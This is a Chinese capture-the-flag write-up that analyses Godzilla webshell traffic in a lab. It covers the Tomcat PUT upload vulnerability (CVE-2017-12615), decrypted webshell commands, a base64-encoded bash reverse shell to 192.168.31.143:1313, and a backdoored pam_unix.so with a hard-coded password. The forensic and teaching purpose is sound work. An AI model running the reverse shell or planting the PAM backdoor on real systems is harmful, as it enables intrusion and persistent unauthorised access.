玄机靶场 | 哥斯拉4.0流量分析

前言

登录服务器并结合数据包附件来分析黑客的入侵行为,其中只有第12题需要上机,其他的用数据包附件分析即可

用户名:root

密码:[email protected]

SSH连接:ssh root@ip -p 222

注意SSH端口是222

哥斯拉流量特征

哥斯拉静态特征

在默认编码情况下,jsp会出现密钥xc、密码pass和Java反射等特征

哥斯拉动态特征

  • User-Agent字段(弱特征):如采用默认情况,会暴露使用的jdk信息,不过哥斯拉支持自定义HTTP头部,这个默认特征可以去除

  • Accept字段(弱特征):默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。,这个也可以修改,只能作为辅助手段

  • Cookie最后会有个分号

而正常流量如果没有分点,一般没有分号

  • 响应数据的格式是固定的:MD5前半部分 + AES加密并Base64编码的结果 + MD5后半部分

索引

玄机题目

步骤#1

黑客的IP是什么?

首先通过wireshark语法筛选出http流量并过滤掉404状态码

1
http and !(http.response.code == 404)

分析流量,可以发现前面有很多GET请求,判断这是攻击者在进行目录扫描

查看IP统计进一步确认

可以看到这两个IP出现数量很多,结合前面的分析,因此192.168.31.190是攻击者IP,192.168.31.168是受害者IP

1
flag{192.168.31.190}

步骤#2

黑客是通过什么漏洞进入服务器的?(提交CVE编号)

继续分析流量,发现攻击者用PUT请求上传了一个文件

追踪HTTP流

出现了密钥xc、密码pass和Java反射类等,符合哥斯拉webshell特征,因此这个hello.jsp文件就是木马文件

继续分析前面的正常文件,发现网站是Tomcat搭建的

且攻击者PUT方法上传文件之后网站状态码为201

因此这是一个Tomcat的PUT文件上传漏洞,上网搜索对应漏洞即可

参考链接:https://www.cnblogs.com/Junglezt/p/18123082

搜索得到漏洞编号为CVE-2017-12615

1
flag{CVE-2017-12615}

步骤#3

黑客上传的木马文件名是什么?(提交文件名)

由步骤二可知,木马文件名为hello.jsp

1
flag{hello.jsp}

步骤#4

黑客上传的木马连接密码是什么?

参考步骤二可知,连接密码为7f0e6f

也可以通过看Webshell通信包得到连接密码

1
flag{7f0e6f}

步骤#5

黑客上传的木马解密密钥是什么?

由步骤二可知,密钥为1710acba6220f62b

1
flag{1710acba6220f62b}

步骤#6

黑客连接webshell后执行的第一条命令是什么?

这里用到abc123师傅开发的蓝队分析研判工具箱,感谢师傅开源

Github地址:https://github.com/abc123info/BlueTeamTools

首先用wireshark语法把hello.jsp的通信流量全部筛选出来

1
http.request.method == POST and http.request.uri contains "hello.jsp"

可以看到总共18个数据包,逐个追踪HTTP流

用蓝队分析研判工具箱进行解密,把请求的body复制进去,然后点击解密请求数据包

解密发现数据流44、45只是连接哥斯拉时默认执行的,因此忽略不计,从数据流46开始分析

以下是数据流46到结尾的解密结果

数据流46

1
2
3
4
请求
cmdLine  sh -c "cd "/";uname -r" 2>&1arg-3  2>&1executableFile  shexecutableArgs  -c "cd "/";uname -r" 2>&1arg-0  shargsCount  4arg-1  -carg-2  cd "/";uname -rmethodName  execCommand
响应
4.19.0-25-amd64

数据流47

1
2
3
4
请求
cmdLine  sh -c "cd "/";id" 2>&1arg-3  2>&1executableFile  shexecutableArgs  -c "cd "/";id" 2>&1arg-0  shargsCount  4arg-1  -carg-2  cd "/";idmethodName  execCommand
响应
uid=0(root) gid=0(root) groups=0(root)

数据流48

1
2
3
4
5
6
7
8
9
10
11
12
请求
cmdLine  sh -c "cd "/";cat /etc/os-release" 2>&1arg-3  2>&1executableFile  shexecutableArgs$  -c "cd "/";cat /etc/os-release" 2>&1arg-0  shargsCount  4arg-1  -carg-2  cd "/";cat /etc/os-releasemethodName  execCommand
响应
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

数据流49

1
2
3
4
5
6
7
8
9
请求1
cmdLine &   sh -c "cd "/";rmp -qa | grep pam" 2>&1arg-3  2>&1executableFile  shexecutableArgs #  -c "cd "/";rmp -qa | grep pam" 2>&1arg-0  shargsCount  4arg-1  -carg-2  cd "/";rmp -qa | grep pammethodName  execCommand
响应1
2>&1: 1: 2>&1: rmp: not found

请求2
cmdLine  sh -c "cd "/";id" 2>&1arg-3  2>&1executableFile  shexecutableArgs  -c "cd "/";id" 2>&1arg-0  shargsCount  4arg-1  -carg-2  cd "/";idmethodName  xecCommand
响应2
uid=0(root) gid=0(root) groups=0(root)

数据流50

1
2
3
4
请求
cmdLine &  sh -c "cd "/";rpm -qa | grep pam" 2>&1arg-3  2>&1executableFile  shexecutableArgs #  -c "cd "/";rpm -qa | grep pam" 2>&1arg-0  shargsCount  4arg-1   -carg-2  cd "/";rpm -qa | grep pammethodName  execCommand
响应
2>&1: 1: 2>&1: rpm: not found

数据流51

1
2
3
4
5
6
7
8
9
请求
cmdLine 0  sh -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-3  2>&1executableFile  shexecutableArgs -  -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-0  shargsCount  4arg-1  -carg-2 #  cd "/";dpkg -l libpam-modules:amd64methodName  execCommand
响应
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                 Version      Architecture Description
+++-====================-============-============-========================================
ii  libpam-modules:amd64 1.3.1-5      amd64        Pluggable Authentication Modules for PAM

数据流52

1
2
3
4
请求
cmdLine l  sh -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-3  2>&1executableFile  shexecutableArgs i  -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-0  shargsCount  4arg-1  -carg-2 _  cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bashmethodName  execCommand
响应

数据流53

数据流54

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
请求
methodName  getFiledirName  /
响应
ok
//
wget-log 1 2024-09-19 08:15:47 0 RW
lib 0 2024-09-18 08:06:13 4096 RWX
usr 0 2023-12-25 02:31:52 4096 RWX
lib32 0 2023-12-25 02:31:48 4096 RWX
libx32 0 2023-12-25 02:31:48 4096 RWX
lost+found 0 2023-12-25 02:31:44 16384 RWX
sbin 0 2024-09-18 08:06:06 12288 RWX
vmlinuz 1 2023-08-07 22:35:25 5283136 RW
opt 0 2024-09-19 08:41:28 4096 RWX
mnt 0 2023-12-25 02:31:52 4096 RWX
etc 0 2024-09-19 07:35:49 4096 RWX
root 0 2024-09-19 08:41:48 4096 RWX
srv 0 2023-12-25 02:31:52 4096 RWX
proc 0 2024-09-19 06:29:54 0 RWX
dev 0 2024-09-19 06:29:58 3160 RWX
initrd.img.old 1 2023-12-25 02:32:56 28089917 RW
initrd.img 1 2023-12-25 02:34:12 28246009 RW
vmlinuz.old 1 2020-07-24 14:46:18 5274864 RW
var 0 2023-12-25 02:31:52 4096 RWX
wget-log.1 1 2024-09-19 08:15:47 0 RW
lib64 0 2024-09-18 08:05:13 4096 RWX
media 0 2023-12-25 02:31:45 4096 RWX
boot 0 2023-12-25 02:41:35 1024 RWX
tmp 0 2024-09-19 09:00:35 4096 RWX
run 0 2024-09-19 09:00:35 600 RWX
wget-log.2 1 2024-09-19 08:15:47 0 RW
home 0 2023-12-25 02:43:00 4096 RWX
bin 0 2024-09-19 07:35:48 28672 RWX
sys 0 2024-09-19 06:29:55 0 RWX

数据流55

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
请求
methodName  getFiledirName  /tmp/
响应
ok
/tmp/
ssh-rJgBkHZMg0 0 2024-09-19 08:30:00 4096 RWX
code-8a1ad303-d54a-4ee6-bf06-79c09e867bed 1 2024-09-19 08:15:43 0 RWX
.XIM-unix 0 2024-09-19 06:29:59 4096 RWX
ssh-vWnAfxielC 0 2024-09-19 08:43:32 4096 RWX
ssh-HqBIxaU2OF 0 2024-09-19 08:15:37 4096 RWX
hsperfdata_root 0 2024-09-19 06:29:59 4096 RWX
systemd-private-fe1119a9e31340ada72ff5bdd7dcb056-systemd-timesyncd.service-wVf4Jf 0 2024-09-19 06:29:59 4096 RWX
1.pcap 1 2024-09-19 09:03:14 1490944 RW
.Test-unix 0 2024-09-19 06:29:59 4096 RWX
.X11-unix 0 2024-09-19 06:29:59 4096 RWX
.ICE-unix 0 2024-09-19 06:29:59 4096 RWX
.font-unix 0 2024-09-19 06:29:59 4096 RWX
ssh-P22RjIKAZ3 0 2024-09-19 08:19:17 4096 RWX
ssh-F8xrTEcjZ2 0 2024-09-19 08:39:58 4096 RWX
ssh-JmgaMLTFgu 0 2024-09-19 08:21:23 4096 RWX
ssh-r6qMz7wlBA 0 2024-09-19 09:00:35 4096 RWX

数据流56

1
2
3
4
请求
fileName  /tmp/pam_unix.sofileValue NELF
响应
ok

数据流57

1
2
3
4
请求
cmdLine l  sh -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-3  2>&1executableFile  shexecutableArgs i  -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-0  shargsCount  4arg-1  -carg-2 _  cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bashmethodName  execCommand
响应

分析数据流46,前面的cmdLine sh -c "cd "/"是哥斯拉自动执行的,后面的uname -r是攻击者执行的,因此答案就是这个

1
flag{uname -r}

步骤#7

黑客连接webshell时查询当前shell的权限是什么?

由步骤六的数据流47可知,攻击者执行了命令id,用于查询用户和用户组相关的身份信息

1
uid=0(root) gid=0(root) groups=0(root)

因此当前shell的权限就是root

1
flag{root}

步骤#8

黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?

分析步骤六中的数据流,发现数据流48运行了命令cat /etc/os-release,该命令主要作用是查看 Linux 操作系统的详细版本和发行相关信息

1
2
3
4
5
6
7
8
9
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

因此答案就是PRETTY_NAME的值

1
flag{Debian GNU/Linux 10 (buster)}

步骤#9

黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)

数据流49,攻击者先是错误地输入了 rmp,发现命令不存在

然后数据流50中攻击者修正了命令为 rpm,执行rpm -qa | grep pam,但是返回结果仍显示not found

1
2>&1: 1: 2>&1: rpm: not found

rpm命令是用于管理RPM包的命令行工具,这个命令是在查询pam相关的包,pam模块与Linux的用户认证有关,是一个非常敏感和危险的位置

数据流51,攻击者根据之前的失败,推断出这不是一个基于RPM的系统(如CentOS),转而使用Debian/Ubuntu系的 dpkg 命令进行查询,并成功获取了信息

1
2
3
4
5
6
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                 Version      Architecture Description
+++-====================-============-============-========================================
ii  libpam-modules:amd64 1.3.1-5      amd64        Pluggable Authentication Modules for PAM

攻击者执行成功的命令就是dpkg -l libpam-modules:amd64

1
flag{dpkg -l libpam-modules:amd64}

步骤#10

黑客留下后门的反连的IP和PORT是什么?(IP:PORT)

数据流52中的请求体中存在base64编码

1
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==

解码后得到结果为

很明显,这个就是反连命令,因此IP是192.168.31.143,端口为1313

1
flag{192.168.31.143:1313}

步骤#11

黑客通过什么文件留下了后门?

继续分析步骤六中的数据包,发现数据流56跟文件相关

1
2
3
4
请求
fileName  /tmp/pam_unix.sofileValue NELF
响应
ok

攻击者上传了一个恶意的PAM模块文件 pam_unix.so。该方法攻击原理是,用这个恶意文件替换掉Linux系统中负责密码验证的核心模块,从而植入一个“万能密码”(例如 password123)或“后门用户”(无论输入什么密码都能成功),从而实现对系统身份认证机制的劫持

可以看到攻击者上传路径为/tmp/pam_unix.so,这个先记住,后面有用

因此后门文件就是这个

1
flag{pam_unix.so}

步骤#12

黑客设置的后门密码是什么?

连接到玄机靶场机器,进去后执行history查看攻击者执行的历史命令

可以看到,攻击者先将系统正常的用户密码认证模块(pam_unix.so)备份成一个隐藏文件,然后用自己上传的、含有后门功能的同名恶意文件(/tmp/pam_unix.so)替换掉原始文件(/lib/x86_64-linux-gnu/security/pam_unix.so

直接在/tmp里面查找会找不到pam_unix.so,估计是攻击者删除了

那我们去/lib/x86_64-linux-gnu/security目录查找,成功找到目标文件

pam_unix.so拷贝下来,用IDA进行静态分析

pam_sm_authenticate 是 Linux PAM(可插拔认证模块,Pluggable Authentication Modules)中认证服务模块的核心函数,专门用于验证用户身份

因此我们找到函数pam_sm_authenticate进行分析,成功获得后门密码XJ@123

1
flag{XJ@123}

步骤#13

黑客的恶意dnslog服务器地址是什么?

wireshark语法搜索dns,可以找到黑客的恶意dnslog服务器地址,但是要注意这个地址后面有个点号(后面分析IDA发现的)

或者可以通过IDA分析pam_sm_authenticate认证函数来获取dnslog地址

1
flag{c0ee2ad2d8.ipv6.xxx.eu.org.}

参考

momo安全:https://mp.weixin.qq.com/s/rhPT5H0IZ4nm6JcgacRg8Q

作者

WayneJoon.H

发布于

2025-08-04

许可协议